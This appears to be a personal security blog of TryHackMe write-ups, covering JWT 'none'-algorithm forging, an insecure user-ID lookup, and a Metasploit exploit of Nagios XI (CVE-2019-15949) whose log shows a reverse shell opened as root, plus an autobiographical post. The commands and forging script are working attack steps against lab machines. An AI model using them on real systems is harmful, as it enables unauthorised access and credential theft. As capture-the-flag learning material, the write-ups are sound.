    <input type="submit" name="submit" style="font-size: 100%" class="lf--submit" id="submit" value="Register" class="btn btn-info btn-block">
  </div>
</form>

If we try to register as darren we find that we're unable to as darren is already registered:

curl http://10.10.146.29:8888/register/submit --data "user=darren&email=fake&password=1234"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/error/already_registered">/error/already_registered</a>.  If not click the link.

As suggested by the task text, we should be able to register as darren (note the leading space). In curl, we should probably encode the space to %20:

curl http://10.10.146.29:8888/register/submit --data "user=%20darren&email=fake&password=1234" -c cookies-b cookies

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.

We include the -b and -c parameters to curl as we want to capture the cookies which are set when the user is logged in so we can reuse them when we try to reach the /logged endpoint:

curl http://10.10.146.29:8888/logged -v -c cookies -b cookies

The process can then be repeated for arthur.

Task 4 - JSON Web Token

For this task we are encouraged to abuse some properties of JWT (JSON Web Token) in order to escalate the privileges which the web application thinks we're entitled to. I won't explain the concepts behind how JWT can be broken as the task text does a great job of doing this.

What I will do, however, is to show how this can be done from the command line rather than using BurpSuite.

To start with, we'll find the login form on the server running on port 5000 so we know where we're attacking:

curl -v http://10.10.146.29:5000

There's a slightly different setup to this website as it uses XHR (XMLHttpRequest) to send the data rather than redirecting the browser to a different location. Still, it's easy enough to see what the authentication endpoint is so that we can send credentials to it:

var host = window.location.hostname;
xmlhttp.open("POST", "http://"+host+":5000/auth");
xmlhttp.setRequestHeader("Content-Type", "application/json");

usr = document.getElementById("username").value;
pwd = document.getElementById("password").value;
foo = xmlhttp.send(JSON.stringify({username:usr, password:pwd}));

We can see that the javascript takes the hostname from the window location and forms a url of http://<hostname>:5000/auth so we know the endpoint is simply what we used to access this information with auth tacked on the end.

We can also see that it's sending the payload as JSON and the names of the fields within the JSON object which it's expecting.

As we have been given the username and password of user:user, let's use that in our curl command:

curl -v http://10.10.146.29:5000/auth --data '{"username": "user", "password": "user"}' -H "Content-Type: application/json"

The response from the server for this is a JSON object containing the access_token which is the JWT token we're looking for:

{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTA0NDM2MTUsImlhdCI6MTU5MDQ0MzMxNSwibmJmIjoxNTkwNDQzMzE1LCJpZGVudGl0eSI6MX0.QIDzeAnzMgkR09bCnMseqDbSGkmw6jCMIw42JgoABxw"}

We can see from our initial request that there is another method called getAdmin() which makes a GET call to /protected. Judging by how it handles the response, it should pop up and alert and set the paragraph <p> element with the id of welcome to have the response back from this endpoint set as it's innerHTML.

As such, we should be able to call this endpoint with the JWT we just got back and see what it returns:

curl http://10.10.146.29:5000/protected -H "Content-Type: application/json" -H "Authorization: JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTA0NDQ1NzgsImlhdCI6MTU5MDQ0NDI3OCwibmJmIjoxNTkwNDQ0Mjc4LCJpZGVudGl0eSI6MX0.8OrkqbJycXbTMW61yyAgO9fou5KYdwDraD56IDQdNwU"

Welcome user: guest

So we now know that we can call the protected endpoint with the valid JWT which it returned to us.

Let's strip apart the JWT to see what it contains:

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
{"typ":"JWT","alg":"HS256"}

echo -n "eyJleHAiOjE1OTA0NDQ1NzgsImlhdCI6MTU5MDQ0NDI3OCwibmJmIjoxNTkwNDQ0Mjc4LCJpZGVudGl0eSI6MX0" | base64 -d
{"exp":1590444578,"iat":1590444278,"nbf":1590444278,"identity":1}

This is pretty standard JWT as described in the task text. One thing I do notice on it is that the expiry time is relatively short, so the token we start with may not be valid if we spend too much time manipulating it.

For anyone who's interested, the additional parts of the JWT payload are:

exp - expiry time - The time the token expires
iat - issued at   - The time the token was generated
nbf - not before  - The time the token is valid from

To make my life relatively simple, I'm going to script fetching the valid JWT, manipulating it into using a different identity provided as an argument to the script and then calling the /protected endpoint to retrieve the result. The script looks something like this:

#!/bin/bash

header=$(echo '{"typ":"JWT","alg":"NONE"}' | base64url | sed 's/=*$//')
payload=$(curl -s http://10.10.146.29:5000/auth --data '{"username": "user", "password": "user"}' -H "Content-Type: application/json" | \
     sed 's/.*:".*\.\(.*\)\..*$/\1/' | base64 -d 2>/dev/null | sed "s/\:1\}/\:$1\}/" | base64url | sed 's/=*$//')
jwt="${header}.${payload}."

curl -s http://10.10.146.29:5000/protected -H "Content-Type: application/json" -H "Authorization: JWT ${jwt}"
echo

This can the be called like so:

$ ./test.sh 1
Welcome user: guest

$ ./test.sh 2
Welcome user2: guest2

$ ./test.sh 3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

$ ./test.sh 0
Welcome admin: 92<redacted>

Which has given us the flag we need to complete Task 4

Task 5 - No Auth

Again, the task text is pretty self explanatory. Again, I will complete the challenge using only curl.

First of all, we'll start by grabbing the form info we need from the website by issuing a simple curl command:

curl http://10.10.146.29:7777

<form method="post" action="/signup" enctype="multipart/form-data">
  <div class="form-group">
    <label>Create new user:</label></br>
    Username:  <input type="text" name="username"><br>
    Password:  <input type="password" name="password"></br>
  </div>
  <button class="btn btn-primary" type="submit">Create user</button>
</form>

We'll send an arbitrary username and password to it:

curl -c cookies -b cookies http://10.10.146.29:7777/signup --data "username=curl&password=rocks"

From this we get back an Account created Successfully message along with another form for accessing our data:

<form method="get" action="/users/1" enctype="multipart/form-data">
  <div class="form-group">
    <h2>Hello curl!:</h2><br>
  </div>
  <button class="btn btn-primary" type="submit">Visit private space</button>
</form>

It doesn't even look like the web application sets any cookies, so we should be able to just request any old user:

curl http://10.10.146.29:7777/users/0

With the server responding:

<form method="post" action="/home" enctype="multipart/form-data">
  <div class="form-group">
  <p><h3>Your password: </h3>ab<redacted></p>
  <p><h3>Your secret data: </h3>Here&#39;s your flag: 72<redacted></p>	
  </div>
</div>	
</form>

With this we now have all the data we need to complete the room.

Summary

I appreciate that I approached this in a completely different way than the creator intended. I think sometimes it's useful to push yourself to see if you can do something different and I had to put a reasonable amount of effort into working out what I was doing with this.

Ultimately, with the different approach and writing this blog post at the same time, the room probably took me 4-6 times as long to complete as it should have had I approached it as intended. Still, I learned a few things along the way, which is what I'm here for.

Thanks for reading - hopefully I'll be back with another room write-up at some point soon.

A few days ago I decided to try the Nax room from TryHackMe. It's one of the harder rooms I've tried on THM and, so far, probably the one I've enjoyed the most.

The room tags give you the information that it's going to use an RCE (remote code execution), that the vulnerability is CVE-2019-15949 and that the system is running Nagios. (The logo used for the room is leading N from Nagios' logo as a further hint.)

Starting off

Like with most of the machines presented by THM (aside from the guided rooms, which tell you what you should be running) I generally get started with a quick nmap command to see whether the machine has any common ports open and what service versions are running. The command I ran was nmap -sV -sC -T4 -oN nax.nmap 10.10.80.170. This yielded the following information:

Nmap scan report for 10.10.80.170
Host is up (0.031s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 62:1d:d9:88:01:77:0a:52:bb:59:f9:da:c1:a6:e3:cd (RSA)
|   256 af:67:7d:24:e5:95:f4:44:72:d1:0c:39:8d:cc:21:15 (ECDSA)
|_  256 20:28:15:ef:13:c8:9f:b8:a7:0f:50:e6:2f:3b:1e:57 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: ubuntu.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-03-23T23:42:04
|_Not valid after:  2030-03-21T23:42:04
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=192.168.85.153/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2020-03-24T00:14:58
|_Not valid after:  2030-03-22T00:14:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: Host:  ubuntu.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.32 seconds

As you can see, the server is running (among other things) a web server open on ports 80 and 443. This is pretty much what I expected to see as I was expecting we'd find a Nagios instance running and this was most likely to be available over these protocols.

Looking around the web site

At this point, I fired up my trusty browser (I use Chrome, but it probably doesn't matter what browser you use for this challenge) and pointed it to the HTTP port of the server. The initial page we got was:

As I was expecting to have seen a Nagios instance this was a little unexpected, so I threw /nagios on the end of the URL. This resulted in a login dialog showing up:

The reason this is looking at localhost:8888 rather than 10.10.80.170:80 is because I'm accessing this through SSH port forwarding rather than direct.

That aside, it looks like /nagios is a viable location and has some form of security in place preventing any old Tom, Dick or Harry accessing it.

Taking a look at the questions on THM, the first thing it asks you to find is the name of the hidden file:

This would suggest to me that we're looking for a file somewhere on the server. Initially I fired up GoBuster to trawl through a large list of possible files/directories which may exist on the server.

Whilst it was doing this, I took a quick look at the opening page again. At the bottom it mentions elements and had a list of what looked to be elements from the periodic table:

Given that GoBuster was likely to take some time, I thought I'd look up the names and atomic numbers of the elements given:

Ag - Silver - 47
Hg - Mercury - 80
Ta - Tantalum - 73
Sb - Antimony - 51
Po - Polonium - 84
Pd - Palladium - 46
Hg - Mercury - 80
Pt - Platinum - 78
Lr - Lawrencium - 103

These numbers looked suspiciously like they could be the decimal representation of something useful, and the number of elements listed was the same as the length of the mask given in the answer box for the question.

I quickly opened up an interactive Python session to turn these values into a string, converting from their decimal values to the ASCII character they represent and joining it into a string:

>>> arr = [47, 80, 73, 51, 84, 46, 80, 78, 103]
>>> "".join(chr(i) for i in arr)
'/PI3T.PNg'

Sticking this in the browser got me the following image:

It wasn't immediately obvious what to do with this image, but I put the name of the file into the answer box for Question #1 and it showed as being correct.

On to Question 2:

It seemed like the obvious thing to do at this stage was to fire up ExifTool to see if there's anything useful in the metadata of the file. The command I ran was exiftool PI3T.PNg and was rewarded with the following:

ExifTool Version Number         : 11.88
File Name                       : PI3T.PNg
Directory                       : .
File Size                       : 959 kB
File Modification Date/Time     : 2020:03:25 04:00:15+00:00
File Access Date/Time           : 2020:05:22 08:20:43+01:00
File Inode Change Date/Time     : 2020:05:22 08:20:41+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 990
Image Height                    : 990
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 768 bytes, use -b option to extract)
Transparency                    : (Binary data 256 bytes, use -b option to extract)
Artist                          : Piet Mondrian
Copyright                       : Piet Mondrian, tryhackme 2020
Image Size                      : 990x990
Megapixels                      : 0.980

As you can see, the Artist is listed as Piet Mondrian. This turns out to be the correct answer for question 2.

The logical step from this point would be to move on to Question 3, so that's exactly what I did:

Question 4 looked somewhat related as well:

This suggested to me that the answers we expected to be found within the image file.

I initially ran stegoveritas against the file as it's proven in the past that it's quite helpful for finding steganographic data inside of file. In this instance it didn't seem to work.

On searching Google for piet mondrian "cryptography" I discovered a reddit post where a similar challenge had been encountered and within the comments found a link to dangermouse.net/esoteric/piet.html. This page describes programming language using colours in an image as a form of programming language. This site would explain the DM's Esoteric Programming tag in the room card.

Further searching revealed that someone had gone to the trouble of creating a compiler for this language called repiet.

I used git to clone the source and ran through the setup for repiet which installed a python module called repiet. I then ran this module against the image to produce a python output file. The exact command I ran was python3 -m repiet PI3T.PNg --codel_size 10. My initial run hadn't included the codel_size parameter and the output from the code didn't seem to work. I thought I'd try the param and just randomly set it to 10. This worked and the python code, when run, produced the following output:

nagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdY

It actually generated significantly more than this - I think it was looping and just continued to dump the same contents to my terminal screen until I hit Ctrl-C to stop it.

It may have done differently had I chosen a different codel_size, but I didn't feel like trying any other sizes as I already had what I needed:

nagiosadmin%n3p3UQ&9BjLp4$7uhWdY

This looked suspiciously like a username and password. I entered nagiosadmin for Question 3 and %n3p3UQ&9BjLp4$7uhWdY for Question 4.

Both of these were accepted as being correct but when I went to log in to the Nagios instance with them I kept getting told the credentials were invalid. It turns out that the % I had entered at the beginning of the password was a separator and not part of the password, but the THM system had accepted it as the answer.

Breaking In

Moving swiftly on to Question 5, we're asked what the CVE number was for the vulnerability we needed to exploit.

I had a look on exploit-db to see what I could find for Nagios which gave us an authenticated attack vector (I hadn't noticed that the CVE number was listed in the room card until I started on this write-up). The top answer looked promising:

I used the CVE number from the search result as the answer for Question #5.

Question 6 isn't really a question, but more of an instruction on how to exploit this vulnerability. It suggests using Metasploit, which is handy as that was exactly what I was going to try anyway:

Question 7 asks for you to tell it what the path and name are for the Metasploit module you need to use to exploit the system.

Simply running search 2019-15949 was all that was needed to locate the correct module:

msf5 > search 2019-15949

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/linux/http/nagios_xi_authenticated_rce  2019-07-29       excellent  Yes    Nagios XI Authenticated Remote Command Execution

Simply typing use 0 into msfconsole and filling in the correct options was sufficient to break into the system:

msf5 exploit(linux/http/nagios_xi_authenticated_rce) > run

[*] Started reverse TCP handler on 10.9.0.232:4444 
[*] Found Nagios XI application with version 5.5.6.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (897/897 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting for the plugin to request the final payload...
[*] Sending stage (3012516 bytes) to 10.10.80.170
[*] Meterpreter session 1 opened (10.9.0.232:4444 -> 10.10.80.170:33636) at 2020-05-25 20:50:31 +0100
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.

meterpreter > getuid
Server username: no-user @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > 

At this point we're in the system as the root user, so it's pretty much game-over for the server.

The last two questions can be simply answer by rummaging around the file system and viewing the contents of the files however you want:

Summary

As I said at the beginning, I found this a very interesting room to complete and was rather pleased with myself that I managed to work it all out by myself.

I found it interesting that the username and password were encoded into the picture the way they were along with the use of chemical elements to lead you to the picture in the first place.

I doubt that any of these methods would actually be found in the wild on a real pen test engagement but stranger things have probably happened. When I get my skills up to the point where I'm employed to complete pen tests, I'll happily report back if I find anything like this out there.

Thanks for taking the time to read this and hope it helped if you came here for assistance completing the room.

Hi, I'm Ceisc, and this is my first attempt to make a blog. My motivation for this blog is to track my journey from where I am now to where I'm hoping to be.

A little background first:

Background

From quite an early age I've had a deep fascination with technology and computers. It all started when my parents bought me and my sister a Sinclair ZX Spectrum +2.

Initially it was used for playing games - there were some awesome games we had for it (awesome, at least, for a young child who'd not had much exposure to computers before). I remember playing Bomber Bob (in Pentagon Capers) for many an hour. I'm resisting the temptation to find and play it online as I fear that it won't be quite the same as it was.

My parents got me a subscription to a Spectrum based magazine and in it there were snippets of BASIC code to follow along with any information on how to cheat at some of the games, using PEEK and POKE commands, I believe (My memory is a bit fuzzy on this - it was quite some time back).

Using this, I got my first taste of computer programming and was in love with it. I'd only created some very basic programs, some little more than printing content to the screen in a loop or drawing a flag on the screen. We borrowed some books from the library which contained source code for a choose your own adventure type game. I don't believe that I ever completed writing one out for the machine, but looking through the code taught me quite a deal. In order not to spoil the content of the game, they'd used some basic form of obfuscation on the text elements of game. I spent some time working out how it was obscured and manually translating it back into something readable.

Around this time, one of my dad's friend's sons started writing his own code for a Spectrum 48K and was generous enough to give me a copy of his game. It was a relatively simple baseball game where you fed instructions to the players on how they should try to hit the ball and then you'd watch the animation of the ball being pitched toward the player and then flying off, hopefully in the direction you'd instructed. The game was written in BASIC and, although I never managed to make any significant changes to it, it showed me the possibilities of what you can do with a computer.

The Spectrum was a much used part of my early childhood. It got so much use that some of the controls for the tape player broke off - we ended up having to use the handle of a teaspoon to activate the tape player to load games.

After a few years of using the Spectrum I asked my parents to buy me my own computer for Christmas. They agreed to buy the computer itself but said that I'd need to pay for the monitor for it myself (I think they'd got fed up of my continuous use of the only television which we had in the house at the time). So the fateful day arrived and the last present I was allowed to open up was my brand new Amiga 600 complete with monitor (I would be paying off the cost of the monitor over the next few months from my pocket money). It featured new things which I'd seen before but not actually owned - such as a floppy drive. Much quicker and easier than the tape drive on the Spectrum and I no longer required spoons to load up new games.

There were some awesome games to be played on the Amiga. I spent a large amount of time playing Knights of the Sky, Lemmings 2, and Dune. I also discovered that the Amiga was programmable with the right tools. I got hold of a basic copy of AMOS and started using that. I believe, at the time, AMOS was derided as not being a 'proper' language/platform on which to program but I didn't care - I had a way of controlling the computer to get it to do things I wanted it to do. AMOS also introduced me to the frustrations some development environments give you. There was a keyboard shortcut which enabled you to delete a whole line of code which was remarkably close to the buttons you needed to press to delete the last character you typed - I lost track of the number of times I had to rewrite lines due to making a trivial mistake and then compounding it by deleting the line rather than just the character.

With the Amiga and AMOS, I never created any masterpieces. Despite this it continued to develop my interest in, and love for, controlling computers through code.

Spin on a few years and we get to the point where I got full time access to a PC. It was a 486 which my friend had lent to me. I can't remember the full spec on it, but it, again, gave me access to try my hand at programming on a different system. I started trying to learn Java with a view to converting a two-player choose your own adventure book game which I'd previously played. I also, at this time, started looking into assembly language.

I went off to university at the age of 18, embarking on a Software Engineering degree. Most of the course involved using Java and, as a side project, I developed some games in Java Applets running in IE using bindings for OpenGL.

Whilst at university I found an interest in doing things with computers which were not intended by the owners of the machines. For example, I found that the web server used by the learning establishment I was at had an open share to the root of the web content. I also discovered that it would run any executable I dumped in one of the folders when accessed through the website. I went off and built a nice executable which I could provide parameters to which would allow me to browse around the file system of the machine (and not just what was being exposed from the open share I'd found).

Obviously, looking back at this time, I realise that I really shouldn't have been doing these things without authorisation. Still, it gave me a taste of hacking and I discovered it was something which gave me a thrill and gave me enough of a mental challenge to keep me interested in doing such things.

After university, I got my first job working in IT. The role was basically a tech support role, but I quickly turned it around into a mix of tech support and software development, having found a way to massively streamline the main system the company used.

From here, I've had a few jobs in the IT field. From the tech support/development job I moved into a couple of pure software development jobs and my current job is running an IT team and developing any software the business requires to keep things running.

Going Forward

Over the past few years I have spent quite a lot of time reverse engineering/decompiling code in order to get my code to integrate into and enhance systems which weren't necessarily meant to be integrated with. I've also spent quite a lot of time looking into how to secure the assets which the companies I've worked for have to try to stop malicious parties getting in.

I've really enjoyed and been challenged by the processes around IT security and reversing software and have come to the conclusion I would like to move my career more in that direction.

As such, my plan now is to ramp up my skills and knowledge in the realm of InfoSec with a view to moving my career away from the SysAdmin side of things (which I kind of enjoy, but not as much as I'd like) and more into full time security work.

I recently started looking at CTFs along with sites like TryHackMe and HackTheBox and have really enjoyed what they offer and the skills which they are teaching me. I've also started following various InfoSec professionals/companies on Twitter to gain as much knowledge as I can.

A lot of what I have learned recently has been where there are gaps in my knowledge and what I need to start looking for resources for going forward. I'm very much looking forward to furthering my knowledge in these areas and hope to be able to compete better at the CTFs going forward.

Roadmap

My current plan to further educate myself and to be able to demonstrate my knowledge in the InfoSec arena is as follows:

• Complete all the rooms on TryHackMe
• Complete all the boxes on HackTheBox
• Study for and complete the OSCP (Offensive Security Certified Professional)
• Potentially look into doing the OSCE (Offensive Security Certified Expert)

Whilst working my way through this roadmap I intend to write up a lot of what I do on this blog. The reasons for this are:

• To cement any knowledge I've acquired by forcing myself into turning the thoughts into writing
• To remind myself how I have done things
• To show myself what I've done and how far I've come (I have a tendency to forget successes and focus on failures, and so I feel that I need this from the point of view of my mental health when I come up against obstacles)
• To improve my ability to write
• Potentially to assist other people who are following a similar path

I think that just about wraps up where I've come from, where I am, what I'm doing and where I'm going, along with why I've decided to start blogging about it.

Thanks to everyone for reading this far. Hopefully you'll come back for the next instalment of this blog once I have something else to write about (which will most likely be a write-up for either a CTF of a TryHackMe challenge).